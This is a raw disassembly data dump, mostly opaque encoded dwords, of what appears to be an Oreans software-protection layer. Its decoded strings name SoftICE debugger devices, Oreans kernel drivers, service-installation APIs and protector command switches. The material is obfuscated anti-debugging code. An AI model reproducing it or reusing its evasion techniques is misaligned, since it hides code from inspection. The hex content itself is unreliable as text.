		dd 1651828h, 8E950h, 233E0000h,	9BB7D5D5h, 0E958689Fh
		dd 0FFFFFF96h, 354BBE4Ah, 70E0B88Fh, 707DFE5Fh,	8DE992h
		dd 83600000h, 0D305D5BDh, 840F0007h, 5,	78E9h, 80006A00h
		dd 850F303Eh, 8, 0E946006Ah, 35h, 0F333E80h, 885h, 46106A00h
		dd 24E9h, 343E8000h, 8850Fh, 306A0000h,	13E946h, 3E800000h
		dd 8850F35h, 6A000000h,	2E94640h, 6A000000h, 203E8000h
		dd 12850Fh, 7E800000h, 850F0001h, 8, 0E908C483h, 15h, 2A75858Dh
		dd 509007D3h, 34895090h, 0FF006A24h, 0D32AFD95h, 0C6C36107h
		dd 0D318D185h, 16684D07h, 81E8EA0Ah, 7CBE2434h,	0B5FF4CDFh
		dd 7D300B9h, 3A37858Dh,	0D0FF07D3h, 2AFD8589h, 0AAE907D3h
		dd 53000000h, 7774666Fh, 5C657261h, 4C6E6957h, 6E656369h
		dd 43006573h, 6B636568h, 58004E49h, 746F7270h, 74697845h
		dd 65684300h, 554F6B63h, 69570054h, 63694C6Eh, 65736E65h
		dd 73726556h, 6E6F69h, 4C6E6957h, 6E656369h, 72446573h
		dd 72657669h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 6E496573h, 6E617473h, 45006563h, 4F746978h, 7250006Bh
		dd 4E49636Fh, 6F725000h, 54554F63h, 69784500h, 4E4974h
		dd 74697845h, 54554Fh, 4E497054h, 3 dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	7DB232Ch
		dd 2328858Dh, 8D5007DBh, 0DB229285h, 1685007h, 0FF800000h
		dd 0DB233895h, 0FF196A07h, 0DB232CB5h, 6A016A07h, 0C1858D00h
		dd 5007DB22h, 2328B5FFh, 95FF07DBh, 7D32B15h, 2328B5FFh
		dd 95FF07DBh, 7DB2334h,	2328B5FFh, 95FF07DBh, 7D30209h
		dd 2C8589C3h, 8D07DB23h, 0DB232885h, 858D5007h,	7DB2292h
		dd 16850h, 95FF8000h, 7DB2338h,	858D046Ah, 7DB232Ch, 6A046A50h
		dd 0EB858D00h, 5007DB22h, 2328B5FFh, 95FF07DBh,	7D32B15h
		dd 2328B5FFh, 95FF07DBh, 7DB2334h, 2328B5FFh, 95FF07DBh
		dd 7D30209h, 2C8589C3h,	8D07DB23h, 0DB232885h, 858D5007h
		dd 7DB2292h, 16850h, 95FF8000h,	7DB2338h, 858D046Ah, 7DB232Ch
		dd 6A046A50h, 0D3858D00h, 5007DB22h, 2328B5FFh,	95FF07DBh
		dd 7D32B15h, 2328B5FFh,	95FF07DBh, 7DB2334h, 2328B5FFh
		dd 95FF07DBh, 7D30209h,	2C8589C3h, 8D07DB23h, 0DB232885h
		dd 858D5007h, 7DB2292h,	16850h,	95FF8000h, 7DB2338h, 858D046Ah
		dd 7DB232Ch, 6A046A50h,	0FE858D00h, 5007DB22h, 2328B5FFh
		dd 95FF07DBh, 7D32B15h,	2328B5FFh, 95FF07DBh, 7DB2334h
		dd 2328B5FFh, 95FF07DBh, 7D30209h, 2C8589C3h, 8D07DB23h
		dd 0DB232885h, 858D5007h, 7DB2292h, 16850h, 95FF8000h
		dd 7DB2338h, 858D046Ah,	7DB232Ch, 6A046A50h, 0AE858D00h
		dd 5007DB22h, 2328B5FFh, 95FF07DBh, 7D32B15h, 2328B5FFh
		dd 95FF07DBh, 7DB2334h,	2328B5FFh, 95FF07DBh, 7D30209h
		dd 0DDBD83C3h, 7D31Ah, 0B840Fh,	9D8B0000h, 7D31ADDh, 894CC383h
		dd 0BD83C303h, 7D31ADDh, 0B840F00h, 8B000000h, 0D31ADD9Dh
		dd 50C38307h, 83C30389h, 0D31ADDBDh, 840F0007h,	0Bh, 1ADD9D8Bh
		dd 0C38307D3h, 0C3038954h, 1ADDBD83h, 0F0007D3h, 0B84h
		dd 0DD9D8B00h, 8307D31Ah, 38958C3h, 0DDBD83C3h,	7D31Ah
		dd 0B840Fh, 9D8B0000h, 7D31ADDh, 895CC383h, 60C3C303h
		dd 232C8589h, 858D07DBh, 7DB2328h, 92858D50h, 5007DB22h
		dd 168h, 3895FF80h, 6A07DB23h, 2C858D04h, 5007DB23h, 6A046Ah
		dd 2323858Dh, 0FF5007DBh, 0DB2328B5h, 1595FF07h, 8307D32Bh
		dd 0D313B1BDh, 840F0007h, 0Ch, 2328B5FFh, 95FF07DBh, 7DB2334h
		dd 2328B5FFh, 95FF07DBh, 7D30209h, 8960C361h, 0DB232C85h
		dd 28858D07h, 5007DB23h, 2292858Dh, 685007DBh, 80000001h
		dd 233895FFh, 46A07DBh,	232C858Dh, 6A5007DBh, 8D006A04h
		dd 0DB230585h, 0B5FF5007h, 7DB2328h, 2B1595FFh,	0BD8307D3h
		dd 7D313B1h, 0C840F00h,	0FF000000h, 0DB2328B5h,	3495FF07h
		dd 0FF07DB23h, 0DB2328B5h, 995FF07h, 6107D302h,	858960C3h
		dd 7DB232Ch, 2328858Dh,	8D5007DBh, 0DB229285h, 1685007h
		dd 0FF800000h, 0DB233895h, 8D046A07h, 0DB232C85h, 46A5007h
		dd 858D006Ah, 7DB230Ch,	28B5FF50h, 0FF07DB23h, 0D32B1595h
		dd 0B1BD8307h, 7D313h, 0C840Fh,	0B5FF0000h, 7DB2328h, 233495FFh
		dd 0B5FF07DBh, 7DB2328h, 20995FFh, 0C36107D3h, 2C858960h
		dd 8D07DB23h, 0DB232885h, 858D5007h, 7DB2292h, 16850h
		dd 95FF8000h, 7DB2338h,	858D046Ah, 7DB232Ch, 6A046A50h
		dd 14858D00h, 5007DB23h, 2328B5FFh, 95FF07DBh, 7D32B15h
		dd 13B1BD83h, 0F0007D3h, 0C84h,	28B5FF00h, 0FF07DB23h
		dd 0DB233495h, 28B5FF07h, 0FF07DB23h, 0D3020995h, 60C36107h
		dd 232C8589h, 858D07DBh, 7DB2328h, 92858D50h, 5007DB22h
		dd 168h, 3895FF80h, 6A07DB23h, 2C858D04h, 5007DB23h, 6A046Ah
		dd 231B858Dh, 0FF5007DBh, 0DB2328B5h, 1595FF07h, 8307D32Bh
		dd 0D313B1BDh, 840F0007h, 0Ch, 2328B5FFh, 95FF07DBh, 7DB2334h
		dd 2328B5FFh, 95FF07DBh, 7D30209h, 0C760C361h, 0DB232C85h
		dd 107h, 28858D00h, 5007DB23h, 2292858Dh, 685007DBh, 80000002h
		dd 233895FFh, 0C00B07DBh, 0F840Fh, 85C70000h, 7DB232Ch
		dd 0
		dd 4DE9h, 8D046A00h, 0DB232C85h, 46A5007h, 858D006Ah, 7DB22A6h
		dd 28B5FF50h, 0FF07DB23h, 0D32B1595h, 0FC00B07h, 0F84h
		dd 2C85C700h, 7DB23h, 0E9000000h, 0Ah, 232C85C7h, 107DBh
		dd 0B5FF0000h, 7DB2328h, 20995FFh, 8B6107D3h, 0DB232C85h
		dd 8960C307h, 0DB232C85h, 28858D07h, 5007DB23h,	2292858Dh
		dd 685007DBh, 80000001h, 233895FFh, 46A07DBh, 232C858Dh
		dd 6A5007DBh, 8D006A04h, 0DB22A685h, 0B5FF5007h, 7DB2328h
		dd 2B1595FFh, 0BD8307D3h, 7D313B1h, 0C840F00h, 0FF000000h
		dd 0DB2328B5h, 3495FF07h, 0FF07DB23h, 0DB2328B5h, 995FF07h
		dd 6107D302h, 858960C3h, 7DB232Ch, 2328858Dh, 8D5007DBh
		dd 0DB229285h, 1685007h, 0FF800000h, 0DB233895h, 8D046A07h
		dd 0DB232C85h, 46A5007h, 858D006Ah, 7DB22B8h, 28B5FF50h
		dd 0FF07DB23h, 0D32B1595h, 0B1BD8307h, 7D313h, 0C840Fh
		dd 0B5FF0000h, 7DB2328h, 233495FFh, 0B5FF07DBh,	7DB2328h
		dd 20995FFh, 0C36107D3h, 18D185C6h, 685207D3h, 0ADE47B07h
		dd 1A91B5FFh, 95FF07D3h, 7D31A15h, 23388589h, 85C607DBh
		dd 7D318D1h, 0E56852h, 0B5FF902Eh, 7D31A91h, 1A1595FFh
		dd 858907D3h, 7DB2334h,	18D185C6h, 685207D3h, 0B9BF1235h
		dd 1A91B5FFh, 95FF07D3h, 7D31A15h, 2B158589h, 85C607D3h
		dd 7D318D1h, 10346852h,	0B5FF9878h, 7D31A91h, 1A1595FFh
		dd 858907D3h, 7D30209h,	18D185C6h, 685207D3h, 0C005DBD4h
		dd 1A91B5FFh, 95FF07D3h, 7D31A15h, 25A18589h, 1EEB07D3h
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 0A259BE66h, 13B1BD83h
		dd 750007D3h, 3DBD8309h, 7D327h, 53501974h, 0FB8C08Bh
		dd 89000004h, 0D3180585h, 99D8D07h, 0FF07DB28h,	83585BD3h
		dd 0D3273DBDh, 17740007h, 0FB85350h, 89000004h,	0D3180585h
		dd 0F89D8D07h, 0FF07DB24h, 6A585BD3h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89EDC351h
		dd 0D30EE98Dh, 53C08B07h, 2810Fh, 0FB8B0000h, 0D185C65Eh
		dd 4307D318h, 1ED98D89h, 4E807D3h, 0FC000000h, 50BC8E6Eh
		dd 8B0F6056h, 0
		dd 8E0Fh, 5A610000h, 424448Bh, 8E960h, 158C0000h, 0B8C7EB2Eh
		dd 8E8C5E8h, 0AA000000h, 8DBAF552h, 667379DAh, 5FF120B8h
		dd 0B1008B61h, 2444898Bh, 0F28B6604h, 0DB58B58h, 0FF07D30Dh
		dd 0D30165B5h, 0F5BE6607h, 37858DE0h, 8B07D33Ah, 0D3030D8Dh
		dd 0FD0FF07h, 0E890C8B7h, 14h, 0EB684769h, 88D5BCA9h, 15606CD5h
		dd 0F512825Ah, 226B67Ah, 0F525060h, 57585A31h, 505A615Fh
		dd 0E8905A51h, 0Bh, 1A98625h, 5B2AFB81h, 0B2A3A67Bh, 6A5936h
		dd 68F0Fh, 0CA810000h, 4885C0D0h, 50751568h, 12E872h, 115E0000h
		dd 84A68266h, 0CBECDC4Dh, 7DF52700h, 25FBEA75h,	310F5250h
		dd 700C65BEh, 5E585A1Dh, 95243481h, 0F725075h, 687h, 8DBD8B00h
		dd 0F07D30Ah, 680h, 69B58900h, 6A07D318h, 49F28103h, 6A3D0CC8h
		dd 0F036A00h, 8Bh, 58346800h, 60609B1Ch, 5F576160h, 34BE6661h
		dd 3481619Bh, 1C583424h, 48A0F5Bh, 66000000h, 8DED09BFh
		dd 0DB296F9Dh, 810F07h,	50000000h, 0D3296ABEh, 241C8911h
		dd 0BD09D0FFh, 7D30A39h, 1C850F40h, 58000003h, 0A6F5F781h
		dd 0B9660C28h, 6690E2CFh, 5050FE8Bh, 0CA8B6652h, 585A310Fh
		dd 6A006A90h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0B38EC353h, 5E0C38DDh,	8BCA4D32h
		dd 0FBB70FCFh, 4E8h, 8000h, 57605000h, 5C0CBA66h, 7979BB5Ah
		dd 8B613D6Ch, 50042444h, 0ED25BA52h, 310F53B2h,	61616060h
		dd 8B585Ah, 0F43FB2BEh,	24448963h, 10E85804h, 93000000h
		dd 6A74AB0Ch, 463AC2F5h, 0D1327AE9h, 33C4C85h, 0D319F58Dh
		dd 36A5907h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0D4C35141h, 61626FD3h, 311BFD21h, 0D329D1B5h, 0FBBF0F07h
		dd 0BD8B006Ah, 7D31445h, 0B529036Ah, 7D31FEDh, 4E8h, 0
		dd 0CE8C0h, 0CF5F0000h,	5E5B1FDBh, 0CF122C87h, 0BE661E74h
		dd 505F0CA1h, 8BFA8B66h, 66042444h, 8BD18Bh, 4244489h
		dd 860F5256h, 0
		dd 0E9585A59h, 13h, 0BE51FFD7h,	9C635000h, 63A76703h, 42B4EBE5h
		dd 8D975975h, 0DB29789Dh, 13E907h, 0E3A80000h, 0A3CA39EAh
		dd 6863837h, 492C3486h,	9980A12h, 0E85093BDh, 0Eh, 637AF033h
		dd 85336C8Eh, 3821E246h, 0E953C4C0h, 14h, 0FF16577Dh, 1D330446h
		dd 0DCE9900Eh, 749C2668h, 3421C615h, 0F935A5Ah,	88Eh, 2830F00h
		dd 0B5000000h, 0FD0FF75h, 88Dh,	85295000h, 7D32619h, 850F4059h
		dd 17Fh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0B8C35545h, 457F8229h, 0D58A2E41h, 0E9816658h
		dd 8B5078E8h, 240489FEh, 11870Fh, 0CE90000h, 71000000h
		dd 86E19FEAh, 0A5F8092Dh, 6AB347CAh, 0F1B70F00h, 4E8h
		dd 8000h, 0E2BA6600h, 448B50A6h, 7EBF0424h, 8B5E96AEh
		dd 5820F00h, 0BE000000h, 76186DC6h, 4244489h, 6A58E88Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B63C353h, 0D30C95B5h, 46E98107h,	6A5C73FCh
		dd 6860F03h, 81000000h,	1653EF1h, 6A006A40h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0B57AC355h, 8B9CBBEAh, 0D33341B5h, 23036A07h, 0D32419BDh
		dd 1DBA6607h, 997F6877h, 0B553E8F6h, 34815A15h,	0F6997F24h
		dd 0AE828h, 2BB50000h, 79305B69h, 9D5F2549h, 0FE8h, 55242B00h
		dd 0E659A29Fh, 0B3EA7D08h, 3FE3ABF9h, 5A14C580h, 839D8D5Ah
		dd 8907DB29h, 0D32FC585h, 0D1BF5007h, 8921651Fh, 870F241Ch
		dd 6, 13CD9D31h, 0D0FF07D3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 31C35343h, 896309A6h, 0D3169DB5h
		dd 850F4007h, 17h, 1D5D8D8Bh, 0BE5807D3h, 1D86E2E7h, 121E9h
		dd 0DD953300h, 8B07D323h, 55958BD8h, 4B07D320h,	0CFD8E681h
		dd 81581D21h, 0AACD09EEh, 0D185C632h, 4307D318h, 5810Fh
		dd 17BF0000h, 0BF6DA683h, 69B8EEAEh, 961D7A68h,	243481DCh
		dd 1CE057DDh, 76EA8166h, 65B5FFFFh, 0E807D301h,	14h, 15EBE437h
		dd 8C1ADC33h, 0C4DCA5D2h, 87E4E2Ah, 304822E5h, 15C98D09h
		dd 8D5A07D3h, 0D33A3785h, 0BE807h, 85B30000h, 0AA2891C6h
		dd 0B9E1E59h, 0A9B533ECh, 5A07D309h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C2D010C3h
		dd 3D6729C7h, 29D98D89h, 8E0F07D3h, 3, 89C2C980h, 0D331ADBDh
		dd 0FE85007h, 0A6000000h, 95463E8Ch, 49C8C871h,	0F0DACA66h
		dd 0CE8C2BBh, 9F000000h, 7DFFD3E4h, 2805707h, 506E05E2h
		dd 5A310F52h, 895E5A58h, 8D8B241Ch, 7D31A95h, 8166D0FFh
		dd 8D0B07C2h, 0D370989Dh, 2CF8107h, 8963A53Eh, 0D330F1BDh
		dd 1B807h, 58BF0000h, 0FF7DB8D4h, 0D78166E3h, 0C18B3293h
		dd 22E98166h, 8BC08B6Ah, 0D31345BDh, 0B1BD8307h, 7D313h
		dd 0BD830975h, 7D3273Dh, 50197400h, 0B8C08B53h,	40Fh, 9C98589h
		dd 9D8D07D3h, 7DB2870h,	585BD3FFh, 273DBD83h, 740007D3h
		dd 0B8535017h, 40Fh, 9C98589h, 9D8D07D3h, 7DB2511h, 585BD3FFh
		dd 13E8h, 659A4E00h, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh
		dd 84BA326Dh, 1571958Bh, 8B5907D3h, 0E8C08BF8h,	6, 1D8DCFA1h
		dd 0BD8B99F8h, 7D32A05h, 8100B75Eh, 5DFBC6h, 0DE900h, 3ABB0000h
		dd 0F6BC74A5h, 10CCC7AFh, 6836F974h, 1753h, 23DBD89h, 8B5A07D3h
		dd 0D329C59Dh, 0B5068B07h, 12C0816Ah, 8A0742A2h, 76F081E8h
		dd 8B081259h, 0D30D559Dh, 67F08107h, 0E85D9EBCh, 0Ah, 9C6CD1BBh
		dd 839E26FAh, 6E83F5Eh,	9000000h, 880D33F4h, 68DF80FDh
		dd 6895959h, 2FF6EE81h,	0D88A2BDBh, 2FF2C681h, 0B9662BDBh
		dd 0F4AB6C5h, 1085h, 1CE9F500h,	5000000h, 78152E57h, 5DD2EEFh
		dd 2D8D8B9Fh, 0E907D302h, 0FFFFFF8Dh, 0EFAE10C6h, 0E97B8484h
		dd 99h,	6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 10h
		dd 5FBD8300h, 7DB31h, 0A840Fh, 85C70000h, 7D3273Dh, 1
		dd 18D185C6h, 684707D3h, 8112F499h, 14243481h, 0FF117F98h
		dd 0D30165B5h, 37858D07h, 0FF07D33Ah, 8BD0FFD0h, 223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2E0h, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C3E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 30DFB58Dh, 25E807DBh
		dd 3000002h, 0DB3174BDh, 74BD8307h, 7DB31h, 0B840Fh, 85C70000h
		dd 7D313B1h, 1,	0EAB58DC3h, 0E807DB30h,	1FCh, 3174BD03h
		dd 0BD8307DBh, 7DB3174h, 0B840F00h, 0C7000000h,	0D3273D85h
		dd 107h, 0B58DC300h, 7DB3163h, 1D3E8h, 74BD0300h, 8307DB31h
		dd 0DB3174BDh, 840F0007h, 0Bh, 5D585C7h, 107D3h, 8DC30000h
		dd 0DB30F4B5h, 1AAE807h, 0BD030000h, 7DB3174h, 3174BD83h
		dd 0F0007DBh, 0B84h, 3D85C700h,	107D327h, 0C3000000h, 30FEB58Dh
		dd 81E807DBh, 3000001h,	0DB3174BDh, 74BD8307h, 7DB31h
		dd 15840Fh, 85C70000h, 7D3273Dh, 1, 13B185C7h, 107D3h
		dd 8DC30000h, 0DB310CB5h, 14EE807h, 0BD030000h,	7DB3174h
		dd 3174BD83h, 0F0007DBh, 0A84h,	3D85C700h, 107D333h, 8D000000h
		dd 0DB3116B5h, 126E807h, 0BD030000h, 7DB3174h, 3174BD83h
		dd 0F0007DBh, 0A84h, 3D85C700h,	107D333h, 8D000000h, 0DB3121B5h
		dd 0FEE807h, 0BD030000h, 7DB3174h, 3174BD83h, 0F0007DBh
		dd 0A84h, 5185C700h, 107D30Dh, 8D000000h, 0DB3127B5h, 0D6E807h
		dd 0BD030000h, 7DB3174h, 3174BD83h, 0F0007DBh, 0A84h, 0D985C700h
		dd 107D323h, 8D000000h,	0DB312DB5h, 0AEE807h, 0BD030000h
		dd 7DB3174h, 3174BD83h,	0F0007DBh, 0A84h, 0D85C700h, 107D31Ah
		dd 8D000000h, 0DB313BB5h, 86E807h, 0BD030000h, 7DB3174h
		dd 3174BD83h, 0F0007DBh, 0A84h,	1D85C700h, 107D302h, 8D000000h
		dd 0DB3148B5h, 5EE807h,	0BD030000h, 7DB3174h, 3174BD83h
		dd 0F0007DBh, 0A84h, 1D85C700h,	107D327h, 8D000000h, 0DB3153B5h
		dd 36E807h, 0BD030000h,	7DB3174h, 3174BD83h, 0F0007DBh
		dd 0A84h, 1D85C700h, 107D303h, 0E9000000h, 1, 203F8047h
		dd 9840Fh, 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h,	0F163817h
		dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 74B589F3h, 0E907DB31h, 0Ah, 317485C7h, 7DBh
		dd 0C3610000h, 0B8h, 0FC00B00h,	0A84h, 3D85C700h, 7D333h
		dd 8B000000h, 0EE8C8h, 66C90000h, 1F500C4Ah, 0F162DFA6h
		dd 14099169h, 0E18D8B60h, 6607D302h, 5B61C88Bh,	5DC381FCh
		dd 0B8000066h, 1970h, 1859503h,	338B07D3h, 6840Fh, 8D2B0000h
		dd 7D30B51h, 13ECC681h,	0C6812BBCh, 0C55CCB1h, 0E783BA66h
		dd 46EAF681h, 89562B72h, 0D332159Dh, 8B038F07h,	0D31CE595h
		dd 0F1EB8107h, 8913BBB7h, 0D32505B5h, 0EDC38107h, 913BBB7h
		dd 0D31B619Dh, 1E88307h, 11850Fh, 95290000h, 7D32B89h
		dd 16E9h, 2AB9DB00h, 8995D961h,	0D30D21B5h, 0FF90E907h
		dd 6A40FFFFh, 0E9E73049h, 20Eh,	6E614333h, 20746F6Eh, 74697277h
		dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh
		dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch
		dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h
		dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0D318D185h, 86684707h, 0FFE3E45Bh
		dd 0D30165B5h, 37858D07h, 0FF07D33Ah, 10468D0h,	9D8D0000h
		dd 7D31D95h, 50D0FF53h,	37A7B58Dh, 0FE8B07DBh, 0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 18D185C6h
		dd 684307D3h, 0BC8E6EFCh, 165B5FFh, 858D07D3h, 7D33A37h
		dd 0B58DD0FFh, 7D31D95h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0D318D185h, 56685707h
		dd 0FFA69BEEh, 0D30165B5h, 37858D07h, 0FF07D33Ah, 0F5BD8DD0h
		dd 8D07D330h, 0DB38CD8Dh, 57006A07h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0AFB58D00h, 8D07DB35h, 0DB21D985h
		dd 8DD0FF07h, 0D370988Dh, 0B807h, 0E1FF0000h, 18D185C6h
		dd 684307D3h, 0C0764AA7h, 165B5FFh, 858D07D3h, 7D33A37h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 1A8h dup(0)
dword_64E668	dd 81Bh	dup(0)			dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 10h
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
